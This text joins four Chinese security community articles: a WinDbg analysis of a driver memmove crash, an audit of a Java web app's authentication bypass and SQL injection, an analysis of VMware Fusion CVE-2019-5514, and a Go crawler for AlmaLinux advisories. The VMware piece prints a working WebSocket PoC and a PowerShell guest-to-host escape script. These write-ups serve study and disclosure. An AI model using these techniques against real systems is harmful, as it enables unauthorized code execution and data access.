根据时间戳来看，还挺新，版本也不是特别老。官网的最新版如下；
好了，现在可以确认下具体触发此次异常的原因了，执行如下指令：
0:007> .exr -1
ExceptionAddress: 00007ff87380cb21 (frdvpr_drv!DrvQueryDriverInfo+0x000000000002c681)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 00000000067e5044
Attempt to read from address 00000000067e5044
没错了，就是Access violation错误导致的此次惨状。看下00000000067e5044地址附近的数据：
看来这个page的状态是free或者reserved的。反正就是不可访问的，至于到底是哪种状态，下边来详谈。再来看下堆栈，看看哪里过来的。
貌似是新开的一个线程，刚开始干点事情就挂了。但有一个数据引起了我的注意，就是红框上边的这个数据，看看与之前错问题的Addr，貌似比较接近。你先不要着急，我知道x64下，函数的调用约定规定前四个参数是通过寄存器传递的，但不意味着就不能在home栈中备份一下某些数据，比如这里的数据。我们来看下这个地址附近的数据：
是个unicode串，也正是我复制的那一段话，原文如下：
好了，案发第一现场到此结束，下边开始溯源吧。
## 2、触发此bug的罪魁祸首
溯源之前，我们先来看下当前这一帧函数在干啥，根据异常地址，在Windbg的反汇编界面中往上稍微翻译下，可以找到该函数的开头，如下：
其实，看到这个函数sig，我基本可以确认这是个memcpy或者memmove之类的函数，因为之前遇到过类似的问题，看过这两个函数的源码，印象深刻。不知道也没关系，下边用IDA来打开下，因为IDA可以根据sig识别出库函数。
0:007> ?00007ff8`7380cb21-frdvpr_drv
Evaluate expression: 314145 = 00000000`0004cb21
把0004cb21偏移加到Imagebase上即可跳转到对应的位置，如下：
颜色就已经出卖了这个函数，意味着他是一个库函数，旁边的注释表明它是一个memmove函数。翻到函数开头，如下：
有两个重要信息需要说明下：
1、r11中存储的是原始的rcx的值，即r11—->Dst;
2、rdx中存储的是rdx-rcx的值，可通过他找到Src的值;
另外，简单分析下就可知道，在该函数的下边，r11，rdx和r8三个寄存器都是作为只读寄存器存在的，没有被修改过。现在还原这三个寄存器的值，如下：
0:007> r r11,rdx,r8
r11=00007ff873cdea80 rdx=ffff800792b063c0 r8=0000000000000206
rdx的最初值为ffff800792b063c0+00007ff873cdea80=00000000`067e4e40
可得三个参数如下：
Dst：00007ff873cdea80
Src：00000000`067e4e40
Size：0000000000000206
下边来看下，当前这两个内存区的数据：
0:007> du 00007ff873cdea80
00007ff8`73cdea80 "所有的组合电路都是不..可信的。是的，往往有很多的毛刺啊，或者中"
00007ff8`73cdeac0 "间过程啊不可避免的出现，这"
0:007> du 00000000`067e4e40
00000000`067e4e40 "所有的组合电路都是不..可信的。是的，往往有很多的毛刺啊，或者中"
00000000`067e4e80 "间过程啊不可避免的出现，这"
当前已经复制的长度如下：
0:007> ?rcx-r11
Evaluate expression: 516 = 00000000`00000204
而触发Crash的那个内存地址相对于Src的地址的偏移如下：
00007ff8`7380cb21 mov ax,word ptr [rdx+rcx] ds:00000000`067e5044=????
0:007> ?00000000`067e5044-00000000`067e4e40
Evaluate expression: 516 = 00000000`00000204
这两个是吻合的上的，现在看来，导致Crash的原因可能如下：
1、Size有问题，即传入的Size超过了Src的那块内存区的大小了，访问了后边不该访问的虚拟内存；
2、Size没问题，待访问的那块虚拟内存某些区间被释放掉了；
要知道这个答案，就需要溯源到上一级，因为memmove这个库函数出问题的几率是在太低了。溯源到上一级有两种方法，栈回溯或者IDA的交叉引用。我喜欢栈回溯，因为他“一锤定音”，不存在多个可能。根据上一小节的栈回溯可知，caller的返回地址为：00007ff8`737d1c83，其汇编代码如下：
0:007> ub 00007ff8`737d1c83
frdvpr_drv+0x11c5d:
00007ff8`737d1c5d je frdvpr_drv+0x11c8c (00007ff8`737d1c8c)
00007ff8`737d1c5f call qword ptr [frdvpr_drv!DrvQueryDriverInfo+0x2dc158 (00007ff8`73abc5f8)]
00007ff8`737d1c65 mov rcx,rbx
00007ff8`737d1c68 call qword ptr [frdvpr_drv!DrvQueryDriverInfo+0x2dc130 (00007ff8`73abc5d0)]
00007ff8`737d1c6e lea rcx,[frdvpr_drv!DrvQueryDriverInfo+0x4fe5e0 (00007ff8`73cdea80)]
00007ff8`737d1c75 mov r8d,206h
00007ff8`737d1c7b mov rdx,rax
00007ff8`737d1c7e call frdvpr_drv!DrvQueryDriverInfo+0x2c4b0 (00007ff8`7380c950) ;memmove(0x00007ff8`73cdea80,rax,0x206)
上边这段代码翻译完就是memmove(0x00007ff8`73cdea80,rax,0x206)；我第一眼看到就感觉好奇怪，为啥把这个Size写死了，为啥要硬编码？带着疑问我们在往上翻一下，看看这个rax的值哪来的。
1，2，3号函数分别如下：
即：
1—->调用的是hClipboard = USER32!GetClipboardData()，而且传入的
uFormat参数由图可知是0x0D,即CF_UNICODETEXT;
2—->调用的是KERNEL32!GetLastErrorStub();
3—->调用的是lpMem = KERNEL32!GlobalLock(hClipboard);
4—–>memmove(0x00007ff8`73cdea80,lpMem,0x206)
都清楚了，原来是从剪贴板中读取UNICODE字符串，然后硬编码的Size为0x206；下边我们去IDA中看下，是不是这个逻辑，如下图：
完全一样，好了，看一下unk_18051EA80这个全局变量，他的大小估计也是在0x206附近，确认下，如下图：
现在可以完全推导出当时这个源码了，应该是这样的：
unk_18051EA80[0x208]={0};
memmove(unk_18051EA80,lpMem,sizeof(unk_18051EA80)-sizeof(WCHAR));
## 3、定因
在第2节中提出来的两个原因，基本可以确定为Size过大了，下边简单看下后边的那块内存的属性。如下：
到此，便结束了。实在是不该出现这样的问题。 | 社区文章 |
#### Author: jkgh006@杭州敏信科技
大多数人问我是怎么看代码并且在没有本地环境的情况下审计出来漏洞的，我一般都是两个字
“硬看”，今天我们要说的就是怎么在几百M甚至上G的程序中剥茧抽丝，审计出来我们希望的结果。
首先查看web.xml,看看全局的配置以及路由，这个非常重要；
这里是一个全局的filter，按照开发者的习惯来说，一般都是做一些登录验证或者授权之类的东西。继续跟进
这里可以看出来系统只接收GET和POST的请求，重点看webServiceCheck请求的内容
看到这个我们就明白了，采用的是黑白名单的形式决定是否校验登录
这几类都不会进行登录校验
通过全局的分析，有以下可以利用的两个path，分别为/login/ 和 /ycsbBjWss/
继续再分析web.xml
可以看到这个是一个webservice的请求，我们访问一下某网站看看
还是有很多接口可以利用的，看看最后一个接口
这里调用的就是auth，直接跟进分析看看
我们分析一下这个xmltobean
在解析xmlSource的时候
这里没有进行实体禁用，存在一个xxe，当然了这个不是我们这次关心的内容
重点看看这个xmlTobean，很多人看到这个的时候就放弃了，因为太复杂，跳来跳去，但是要继续往下走还必须得了解这个的逻辑，通常这里的做法是不用去读懂它干什么，可以自己写一个test，然后去跑这一段代码，前提是要删除掉web上下文的东西。
此时你就可以调试代码了，这里就不操作了，直接解释一下这段代码的逻辑，意思就是把你传递进来的xml中的内容通过xpath解析出来，然后通过BeanUtils.populate(model,var18),把var18里面对应的键值对赋给model对象的属性。
这个xml的结构可以看出来
里面分为两大部分，大家都知道java里面的变量定义是区分大小写的，所以它这里在Head里面定义的会被转化为小写，然后拼接一个H就是类的属性，例如
到时候就会在model对象里面，如果它存在abcH属性，这个值就会被赋为123，我们看看model的基类属性都有那些
其中框起来的这些比较特殊，属性本身存在大小写，根据它代码的意思，比如nsrdjNoH我们只需要写123
头部的语法已经完全解开，剩下的就是body里面的语法，body是不做任何转换的，基本上你写什么到时候就是什么，继续跟进程序逻辑
checkMethod 校验头部里面是否包含method， 对应到xml里面就是123
继续往下走看看service.check(model),这里就是进行了每一个参数的校验
我们调用的是YcsbWebService，所以选择下面那个
这里面就是对xml头部的校验，缺少一项都不可以。
函数有以下几个
1. checkCpcode() 不为空即可
2. checkMethod() 不为空即可
3. checkTranToken()
4. checkConf() 内置校验不用关心
5. loginForm()
6. checkCpcodeWhitelist() 内置校验不用关心
7. checkLegalCpcode() 内置校验不用关心
重点分析第三个和第五个
分析可以看出这个是可以绕过的，因为没有秘钥，但是这个类似于请求的token有一个超时的限制，从代码中可以看出来，肯定会有加密部分
直接都不用分析，写入test即可根据CpcodeP加密出来一个token
这里是一个登陆的验证，通过上下文分析，这里采用map映射方式查询数据库，只要这个通过即可以
这里可以看出来，没有密码的限制，其实对于这个应用来说，cpcode就是税号，天眼查是可以查到的，等于再次绕过
InnerStrategyService service =
StrategyFactory.getInstance().creator(model.getMethodpre(),
StrategyFtConst.YCSB.fact);
这一段代码要依赖web上下文，所以只能硬看，跟进分析一下
这里可以看出来所有的对应关系，继续往下分析
ex1 = service.execute(model);
跟我们分析的映射关系一模一样
此时所有的校验都通过，流程从一个小水管慢慢变成一片开阔地，各种各样的接口从而暴露出来，我们主要分析一下这个YcsbWbxxServiceImpl
当method为WBXX_FP_CZ_LIST的时候
看到这里进行了一次复杂的解析，通过读上下文，没有web上下依赖，直接代码调试并且我们打印出来customViewSQLStr
这里就输出来一个sql语句，其中可以进行拼接，对应的xml为
我们访问一下看看
返回的东西居然是加密的，这个不用怕，相信解密的东西也能找到
回头再看看
最终输出的时候进行了加密，zKey就是秘钥，所有代码都是写死的，所以加解密其实没有什么意义，看看有没有解密的代码
直接test调试一下
这个就是我们刚才说的那个token失效了，重新做一个，去天眼查找一个税号，例如
91 ** ******** 087
然后再次请求
这时候响应的内容已经发生了变化，我们解开看看
说明整个验证过程已经通过了，分析到这里，至于怎么构造SQL造成注入就不再做分析。 | 社区文章 |
**作者：0xcc
原文链接：<https://mp.weixin.qq.com/s/TrSb4hMD6QUVyCth3IaBbg>**
这篇文章是上一次 realworld ctf 论坛上的议题《Bifr?st 揭秘：VMware Fusion REST API
漏洞分析》。本来去年这时候就该动笔写一下，正好当时 InfiltrateCon
的主办方看到了这个议题，邀请了投稿，我就想着讲完再写。没料到四月份的会议因为疫情一直拖到现在，最后只能改成线上。
<http://infiltratecon.com/conference/briefings/bifrost-demystified-case-study-of-a-vmware-fusion-rce.html>
VMware Fusion 在去五月修复了这个编号为 CVE-2019-5514 漏洞。与常规的虚拟机安全问题，即通过 guest 攻击 host
的方式不同，这是一个远程代码执行漏洞。它从 host 的浏览器远程触发，在 guest 里执行任意代码。PoC 极度简单，却需要花不少功夫逆向才能分析明白。
除此之外我还（重新）发现了一种特殊配置下，不需要漏洞即可逃逸至 host 执行任意命令的方法。RWCTF
举办时还在和厂商沟通，所以我保留了这一部分没讲。这两部分串联起来之后，便是一个完整的 RCE 链条。
VM Fusion 11 引入了一个新功能，在 mac 桌面右上角添加了一个快捷菜单，可以操作虚拟机的开关机、快照等状态。当 guest 是 Windows
系统时，甚至可以将其“开始”菜单映射出来，在客户机里直接运行（任意？）程序。
这个功能引起了我的注意，事实上也找到了严重的问题。
经过简单的分析发现，这个菜单界面是一个 Electron 应用。而在后台有一个 go 语言 amsrv 进程开启了一个 HTTP 服务，通过
WebSocket 和 HTTP 协议与 Electron 界面通信，然后再由 amsrv 作为代理的角色操纵 VMware Fusion 剩余的组件。这个
http 服务的架构有些多余，毕竟 Electron 本身可以实现很多 native 的功能。笔者估计是因为 nodejs 嵌入 C 的库比 go 麻烦。
问题出在 HTTP 和 WebSocket 的鉴权上。开发者应该是认为 localhost 的应用没有做访问控制的必要，然而 WebSocket
默认支持跨域访问，也就是任何一个浏览器都可以与之通信。更神奇的是 HTTP 协议的部分还开启了 CORS，不限制请求来源。简单复现一下弹计算器的命令，然后在
Wireshark 对 loopback 抓包，便得到了一个 PoC：
const ws = new WebSocket(`ws://127.0.0.1:8698/ws`)
ws.onopen = () => {
ws.send(JSON.stringify({
name: 'menu.onAction',
object: '11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00',
userInfo: {
action: 'launchGuestApp:',
vmUUID: '11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00',
representedObject: 'calculator:'
}
}))
}
ws.onmessage = msg => {
console.log(JSON.parse(msg.data))
ws.close()
}
显然，其中的 vmUUID 字段是虚拟机的唯一标识符。但经过一番分析发现，这个字段保存在本地的一个 plist 文件里，Electron
通过解析对应的文件获取，而远程攻击者自然没有这个条件。这个格式也不能被简单的爆破。这个漏洞似乎不能利用，加上我一开始对逆向 go
没有耐心，于是就在网上公开了。
然而一段时间过后，我突然收到一条国外网友的私信说，他找到了利用的方法，让我非常震惊。
<https://theevilbit.github.io/posts/vmware_fusion_11_guest_vm_rce_cve-2019-5514/>
他在 WebSocket 协议里找到了一个隐藏的参数 selectedIndex，可以完全取代
vmUUID。这个整型的参数可以遍历，有微博网友称，测试时把自己所有的虚拟机全部打开挨个弹了一遍 cmd，当场大惊失色。
这件事说明，为了负责任地披露，在完全搞清楚一个漏洞的可利用性之前，不要随便地公开讨论。
这也勾起了我的好奇心，于是我把手上的 binary 又打开梳理了一遍。
Redress 工具简单查看了一下 amsrv，其实这个程序并不是真正的服务端，而是一个类似守护进程的角色。服务端实现是在另一个叫 vmrest 的程序。在
VMware 官网上可以找到这个 vmrest 的文档，标题叫《Use the VMware Workstation Pro REST API
Service》。但这个程序的帮助信息里却提示有一个 -D 的命令开关可以以 internal 模式运行，说明事情没这么简单。
Redress 提示这个程序用到了 web 框架 gorilla。以此为线索搜索
github_com_gorilla_mux__Router_HandleFunc 的交叉引用，找到了所有的后端 API 接口：
WebSocket 后端的处理非常简单，在对 JSON 内容进行一些解码和重新序列化的操作和，几乎远洋通过 Mach Message
转发给下一个进程，也就是 VMware Fusion 主界面。我写了一端简单的 frida 脚本拦截 CFMessagePortSendRequest
函数调用，打印所有的进程间消息，也证实了这一点。
这一阶段的进程间通信主要靠 VMIPCServer 和 VMIPCClient 类实现。顾名思义，这一对 class 借鉴了 client/server
的角色，封装了基于消息的接口。在消息接收端有一个 VMIPCCommon 单例，其中的 observerTable 注册了所有的消息接收端。这是一个
NSDictionary 键值对，key 是指向具体 handler 类实例的指针，值则是一个 VMIPCObserverEntry 对象，记录了
WebSocket 协议当中的 name 字段和具体 handler 类处理方法的 selector 的对应关系：
回到弹计算器的 PoC 上。根据 observerTable 的映射关系，这个消息会触发 -[PLVMStartMenuProxy
onMenuAction:] 方法。最终消息来到 -[PLVMStartMenuManager
onStartMenuPerformAction:withInfo:]，在这个函数里居然是优先检查 selectedIndex
参数，如果不存在，再尝试将另一个可选的 vmUUID 参数转换成 selectedIndex。这也就解释了一开始被我漏掉的 PoC
的现象。而为了搞清楚这一步，我们已经逆了至少三个程序。
@interface DUIVMActionController : DUIActionController <DUISettingsCDROMOpenPanelDelegate>
- (void)togglePause:(id)arg1;
- (void)installVirtualPrinter:(id)arg1;
- (void)toggleToolsInstall:(id)arg1;
- (void)onSendKey:(id)arg1;
- (void)sendCtrlAltDel:(id)arg1;
...
除了启动客户机程序之外，以上的方法也是对 WebSocket 开放的。
接下来便是主界面和 vmx 进程的通信。VMware Fusion 的每一个虚拟机都用一个独立的 vmx 进程执行，即使界面崩溃了，也不会影响到 vmx
的稳定性；反之亦然。
这个阶段的通信使用一个叫 vmdb 的机制。
这是一个类似键值对数据库的集中化状态管理，既支持数据的存储也提供跨进程传递数据的能力。一个 key 类似文件系统的路径，类似这样的字符串：
vmx/vigor/ields/Audio/
vmdb 支持的基本数据类型有整形、字符串、二进制等。既然叫做 db，它还提供了类似 SQL 的查询机制，但实际上只支持 SELECT WHERE
语句。首先用 Vmdb_ParseQuery 从“SQL”创建一个查询，接着用 Vmdb_ExecuteQuery 函数执行，并用
Vmdb_NextResult 遍历结果集。这个 db 还支持事件处理，可以用 Vmdb_RegisterCallback
在特定的键上添加监听函数处理状态变化。
与常见的虚拟机漏洞不同，这一次攻击载荷是反向传递的——从 host 到 guest。常规的漏洞利用一个叫 RPCI
的“后门”通信接口来调用宿主的功能，而与之对等的是 TCLO。两者其实区别不大，仅仅是 Message_Open 时传入的 magic number
不同。命令的格式也是函数名、空格，然后紧跟参数的 buffer。
在 Windows 上，VMware Tools 有两个进程，一个具有 SYSTEM 权限，一个普通用户权限。用来弹计算器的命令叫做
unity.shell.open，最后来到 GHIPlatformShellCommandRun 函数。
这个函数并不完全等同于 ShellExecute，它还内置了一些特殊 URL 的处理。
* x-vmware-share:// 打开共享目录
* x-vmware-menuitem://{computer,documents,network,control-panel,printers,search,run} 开始菜单
* x-vmware-metroapp-execpath:// 执行 UWP 应用
如果字符串不满足以上 URL，就会进入这个分支。只有命令包含一个“.”符号，才会触发支持命令行参数的逻辑：
比如 cmd /c calc 必须写成 cmd.exe /c calc，否则没有反应。这时候可以使用 Powershell 下载逃逸的 payload
完成整个链路。
对于非 Windows 虚拟机，例如 Linux，unity.shell.open 早在 2008 年的一个 commit
便被移除掉了。不过前文提到，有一个命令可以模拟键盘输入，而且这个命令并不需要客户机上安装了 VMTools。这就是 onSendKey: 方法。在
guest 没有被锁屏的情况下，仍然可以通过模拟按键的方式打开终端，回车执行任意命令。
官方在 2019 年五月初推出的 11.0.3 修复了这个问题，在 HTTP 协议中加入了随机 token 的验证；而 WebSocket 则要求
Origin: 满足 file:// 域。
在 VMware 的安全公告 VMSA-2019-0005 当中， 除了这个严重级别的远程代码执行，还有 Pwn2Own 2019 上
Fluoroacetate 用到的几个 VMware Workstation 逃逸漏洞，同样影响 Fusion。
此外在逆向 VMTools 时，我重新发现了一个已经被公开讨论过的特性，可以在特殊的虚拟机配置环境下无需漏洞逃逸到宿主机。
一旦勾选了这个“在 Mac 打开 Windows 的文件和链接”，便可使用 VMTool 内置的 VMwareHostOpen.exe
调用这一功能。这个选项显然极大削弱了 guest 和宿主之间的隔离性。经过一番搜索我发现 ZDI 在 2017 年已经在 DerbyCon
上公开讲过，只不过没有分析实现细节。
这个命令会转化成一条 RPCI 命令 ghi.guest.shell.action，参数为序列化的
xdr_GHIShellAction。它一共有两个成员，actionURI 永远是 x-vmware-action:///run，而 targetURI
则是希望打开的地址。
在这个函数里特别针对 file:/// 做了过滤，不做任何操作，有可能是为了安全考虑。但其他任意的 URL，例如 dict:// 是允许的。当 URL 的
sheme 是 x-vmware-share:// 时，会转换为宿主的地址，然后打开对应文件。
在客户机开启了任意一个可写的共享目录之后，攻击载荷可以写入一个可执行文件（例如 .command），内容是一个 shell 脚本。由于 HGFS
需要尽可能消除不同操作系统下的表现差异，在 mac
端默认便给足文件权限，包括可执行。这时候相当于宿主机双击打开文件，便会触发脚本命令。这便有了我们开头的动画。
$name = "calc.command";$writable = ls "\\vmware-host\Shared Folders" | Where-Object { $acl = Get-Acl $_.FullName; $acl.Access | Where-Object { $_.IdentityReference -eq 'Everyone' }} | Select-Object -first 1;
$output = Join-Path $writable.FullName -ChildPath $name;
$content = '#!/bin/sh
open -a Calculator
killall Terminal'
[IO.File]::WriteAllLines($output, $content);
& "C:\Program Files\VMware\VMware Tools\VMwareHostOpen.exe" "--url" "x-vmware-share://$($writable.Name)/$($name)";
VMware 官方认为这不是一个安全问题，毕竟需要两个条件：
1.允许打开 URL
2.开启至少一个可写的共享目录
然而我们再想一想，这两个条件都和虚拟机本身的配置有关。仍然有一种场景存在风险，那就是从网上下载一个虚拟机镜像然后双击启动——所有的配置自然都是攻击者可控的。
通过这个案例的分析可以看到，炫酷的 Web 技术虽然极大提升了开发效率，却把本不该出现的安全问题引入到桌面端产品中。VMware
一个看上去很小的功能却分了很多层次的调用，结构复杂却能保证架构的清晰。当然最大的教训还是，在确保分析完全之前不要随便低估一个漏洞的可利用性。
* * * | 社区文章 |
# 0x00 前言
漏洞作为攻击的重要组成部分，在威胁情报中占据着重要地位。安全研究员可以监控历史漏洞来对系统进行攻击或者及时加固。可漏洞数据过于庞大，若进行人工检测，会出现成本过高，数据不全等问题。所以一般来说，需要开发一系列漏洞工具来解决此问题。
本系列文章主要以Go语言作为示例，分享如何爬取监控alma、alpine、ubuntu、debian、nvd、cnnvd和kubernetes等漏洞数据。对于漏洞工具的研发而言，若将漏洞情报收集这一块相对而言比较独立且复用性较高的工作单独拎出来讨论，将会减少大家的工作量。
# 0x01 简介
AlmaLinux OS 是一个开源的、由社区拥有并治理且永久免费的企业 Linux 发行版，专注于长期稳定性，提供一个强大的生产级平台。AlmaLinux
OS 与 RHEL® 和 CentOS Stream 是 1:1 的二进制兼容。漏洞情报如下所示：
* <https://errata.almalinux.org/8/errata.json>
* <https://errata.almalinux.org/9/errata.json>
本文结构如下所示：
# 0x02 数据结构
如图所示，数据结构erratum就是我们需要爬取的漏洞的数据结构，这里不展开说明。数据结构options是最底层的数据结构，在他的上面还封装了结构体Config和匿名函数option。options主要是用来配置需要爬取的urls、数据存放的目录dir和若请求不成功需要重试的次数retry。默认的值如下所示：
const (
almaLinuxDir = "alma" // 目录名
urlFormat = "https://errata.almalinux.org/%s/errata.json" // 爬取的URL格式
retry = 3 // 重试次数
)
var (
AlmaReleaseVersion = []string{"8", "9"} //alma的版本
)
结构体options的定义如下所示。这里的urls是一个键值都为string的map，键存放的是alma系统的版本（共有8和9两个版本），值存放的是url的地址。同种漏洞库根据操作系统的发行版可能会有多个url。
type options struct {
urls map[string]string
dir string
retry int
}
基于结构体options定义一个名为option的匿名函数。后续会利用该匿名函数依次给alma爬虫对象配置参数。然后定义WithURLs、WithDir和WithRetry三个函数，用来给options的各个数据成员赋值（为了增加程序的安全性，options的数据成员都为私有的）。三个函数都返回一个option的匿名函数。
type option func(*options)
func WithURLs(urls map[string]string) option {
return func(opts *options) { opts.urls = urls }
}
func WithDir(dir string) option {
return func(opts *options) { opts.dir = dir }
}
func WithRetry(retry int) option {
return func(opts *options) { opts.retry = retry }
}
基于结构体options还定义一个结构体Config。其构造函数如下所示：
type Config struct {
*options
}
func NewConfig(opts ...option) Config {
//根据alma的版本构造各自的爬虫url
urls := map[string]string{}
for _, version := range AlmaReleaseVersion {
urls[version] = fmt.Sprintf(urlFormat, version)
}
//设置默认的config
o := &options{
urls: urls,
dir: utils.VulnListDir(),
retry: retry,
}
//再根据传递进来的参数，给o赋值
for _, opt := range opts {
opt(o)
}
//返回最终的结果
return Config{
options: o,
}
}
综上所述，如果我们需要爬取alma的漏洞数据，就需要声明一个Config对象，然后调用Config的方法Update和update。代码示例如下所示：
ac := alma.NewConfig()
if err := ac.Update(); err != nil {
return xerrors.Errorf("AlmaLinux update error: %w", err)
}
commitMsg = "AlmaLinux Security Advisory"
ac := alma.NewConfig(alma.WithURLs(map[string]string{tt.version: ts.URL}), alma.WithDir(t.TempDir()), alma.WithRetry(0))
if err := ac.Update(); tt.expectedError != nil {
require.Error(t, err)
assert.Contains(t, err.Error(), tt.expectedError.Error())
return
}
# 0x03 关键方法
alma爬虫对象的关键方法和主要调用的方法是Update方法。在该方法中，主要根据config中的url调用update方法来爬取漏洞数据。
func (c Config) Update() error {
for version, url := range c.urls {
log.Printf("Fetching security advisories of AlmaLinux %s ...\n", version)
if err := c.update(version, url); err != nil {
return xerrors.Errorf("failed to update security advisories of AlmaLinux %s: %w", version, err)
}
}
return nil
}
所以，主要的逻辑还是在update方法中，该方法只能被Update方法调用。在update方法中对数据进行了以下预处理：
* 根据不同的url调用工具包中的`FetchURL`函数爬取漏洞数据，然后对数据进行一次清洗，即只保留`UpdateinfoID`前缀为"ALSA-"的漏洞数据。
* 将漏洞数据分类存放到文件中，并以`UpdateinfoID`为文件名。
* 第一次分类是根据漏洞库的名称。在这里，以操作系统的名称来命名漏洞库名称，即为alma。
* 第二次分类是根据操作系统的发型版本。在这里，alma有8和9两个不同分发行版本。
* 第三次分类是根据漏洞签发的年份。
func (c Config) update(version, url string) error {
//构建数据存放的目录，其中c.dir为vuln-list目录，在vuln-list上海有alma目录，然后根据发行版本的不同，指定不同的目录。
//详情看：utils.VulnListDir()
dirPath := filepath.Join(c.dir, almaLinuxDir, version)
// 重新创建一个目录（若目录存在，则情况）
log.Printf("Remove AlmaLinux %s directory %s\n", version, dirPath)
if err := os.RemoveAll(dirPath); err != nil {
return xerrors.Errorf("failed to remove AlmaLinux %s directory: %w", version, err)
}
if err := os.MkdirAll(dirPath, os.ModePerm); err != nil {
return xerrors.Errorf("failed to mkdir: %w", err)
}
//根据url来爬取漏洞数据
body, err := utils.FetchURL(url, "", c.retry)
if err != nil {
return xerrors.Errorf("failed to fetch security advisories from AlmaLinux: %w", err)
}
//将数据反序列化
var errata []erratum
if err := json.Unmarshal(body, &errata); err != nil {
return xerrors.Errorf("failed to unmarshal json: %w", err)
}
// 定义一个名为secErrata的map，其key的数据类型为string，主要为漏洞数据签发的年份。value为数据类型为erratum的切片，主要是存放漏洞数据
secErrata := map[string][]erratum{}
for _, erratum := range errata {
// 只保存UpdateinfoID有ALSA-前缀的数据
if !strings.HasPrefix(erratum.UpdateinfoID, "ALSA-") {
continue
}
// 将漏洞数据按照签发年份进行分类
y := strconv.Itoa(time.UnixMilli(erratum.IssuedDate.Date).Year())
secErrata[y] = append(secErrata[y], erratum)
}
// 根据漏洞数据签发的年份再在dirPath之上创建目录
for year, errata := range secErrata {
log.Printf("Write Errata for AlmaLinux %s %s\n", version, year)
if err := os.MkdirAll(filepath.Join(dirPath, year), os.ModePerm); err != nil {
return xerrors.Errorf("failed to mkdir: %w", err)
}
// 开启进度条
bar := pb.StartNew(len(errata))
// 以UpdateinfoID为文件名，将漏洞数据写入文件中
for _, erratum := range errata {
filepath := filepath.Join(dirPath, year, fmt.Sprintf("%s.json", erratum.UpdateinfoID))
if err := utils.Write(filepath, erratum); err != nil {
return xerrors.Errorf("failed to write AlmaLinux CVE details: %w", err)
}
bar.Increment()
}
bar.Finish()
}
return nil
}
# 0x04 工具包总结
若需要对其他的漏洞情报进行收集，总结一些公用的方法是必不可少的。我们可以将这些方法统称为工具，放在utils文件夹中。
## 4.1 数据存放路径
程序会根据操作系统来选择用户的缓存目录作为程序的缓存目录，再在其之上创建一个名为vuln-list-update的目录作为程序的缓存目录。若无法根据操作系统来获取用户的缓冲目录，则创建一个临时文件夹，再执行上述操作。最后在程序的缓存目录上再指定一个数据存放目录vuln-list。
// CacheDir 设置缓存目录（vuln-list-update的目录）
func CacheDir() string {
//更具用户的操作系统获取缓存目录，若无法获取缓存目录，则获取临时目录
cacheDir, err := os.UserCacheDir()
if err != nil {
cacheDir = os.TempDir()
}
dir := filepath.Join(cacheDir, "vuln-list-update")
return dir
}
// VulnListDir 获取vuln-list目录
func VulnListDir() string {
return filepath.Join(CacheDir(), "vuln-list")
}
## 4.2 爬取URL
// FetchURL returns HTTP response body with retry
// 拉取URL（可设置重试次数），并返回响应体
func FetchURL(url, apikey string, retry int) (res []byte, err error) {
for i := 0; i <= retry; i++ {
// 首次访问为立即访问，若访问失败，则计算出一个随机值作为间隔，再次访问
if i > 0 {
// wait = i^2+[0-9]的一个随机数
// 其中RandInt为[0,MaxInt64)的整数
wait := math.Pow(float64(i), 2) + float64(RandInt()%10)
log.Printf("retry after %f seconds\n", wait)
time.Sleep(time.Duration(time.Duration(wait) * time.Second))
}
res, err = fetchURL(url, map[string]string{"api-key": apikey})
if err == nil {
return res, nil
}
}
return nil, xerrors.Errorf("failed to fetch URL: %w", err)
}
// RandInt 返回一个[0,MaxInt64)的一个随机整数
func RandInt() int {
seed, _ := rand.Int(rand.Reader, big.NewInt(math.MaxInt64))
return int(seed.Int64())
}
func fetchURL(url string, headers map[string]string) ([]byte, error) {
req := gorequest.New().Get(url)
for key, value := range headers {
req.Header.Add(key, value)
}
resp, body, errs := req.Type("text").EndBytes()
if len(errs) > 0 {
return nil, xerrors.Errorf("HTTP error. url: %s, err: %w", url, errs[0])
}
if resp.StatusCode != 200 {
return nil, xerrors.Errorf("HTTP error. status code: %d, url: %s", resp.StatusCode, url)
}
return body, nil
}
## 4.3 写入文件
// Write 写入漏洞数据
func Write(filePath string, data interface{}) error {
// 返回filePath的路径
dir := filepath.Dir(filePath)
// 创建路径
if err := os.MkdirAll(dir, os.ModePerm); err != nil {
return xerrors.Errorf("failed to create %s: %w", dir, err)
}
// 创建文件
f, err := os.Create(filePath)
if err != nil {
return xerrors.Errorf("file create error: %w", err)
}
defer f.Close()
// 将data 序列化
b, err := json.MarshalIndent(data, "", " ")
if err != nil {
return xerrors.Errorf("JSON marshal error: %w", err)
}
// 写入文件
_, err = f.Write(b)
if err != nil {
return xerrors.Errorf("file write error: %w", err)
}
return nil
}
# 0x05 使用到的第三方库
Go 的终端进度条pb可以帮助我们丰富Golang编写的终端工具
<https://github.com/cheggaaa/pb>
# 0x06 运行结果
程序运行结束后，终端上会有类似的打印：
此时我们收集到的数据如下所示：
以AlmaLinux 9最新的漏洞ALSA-2023:0383 为例，内容如下：
{
"_id": {},
"bs_repo_id": {},
"updateinfo_id": "ALSA-2023:0383",
"description": "X.Org X11 libXpm runtime library.\n\nSecurity Fix(es):\n\n* libXpm: compression commands depend on $PATH (CVE-2022-4883)\n* libXpm: Runaway loop on width of 0 and enormous height (CVE-2022-44617)\n* libXpm: Infinite loop on unclosed comments (CVE-2022-46285)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.",
"fromstr": "[email protected]",
"issued_date": {
"$date": 1674432000000
},
"pkglist": {
"name": "almalinux-9-for-x86_64-appstream-rpms__9_1_default",
"shortname": "almalinux-9-for-x86_64-appstream-rpms__9_1_default",
"packages": [
{
"name": "libXpm",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "i686",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-3.5.13-8.el9_1.i686.rpm",
"sum": "a480fde4a4e7588afd28669f37c5d99d6fce30ca4b2242339d9f3291e10b2007",
"sum_type": 5,
"reboot_suggested": 0
},
{
"name": "libXpm-devel",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "i686",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-devel-3.5.13-8.el9_1.i686.rpm",
"sum": "fb0049df50b019cd939de8765800b76f9fa151263f27e32a1be97e5a27bc2401",
"sum_type": 5,
"reboot_suggested": 0
},
{
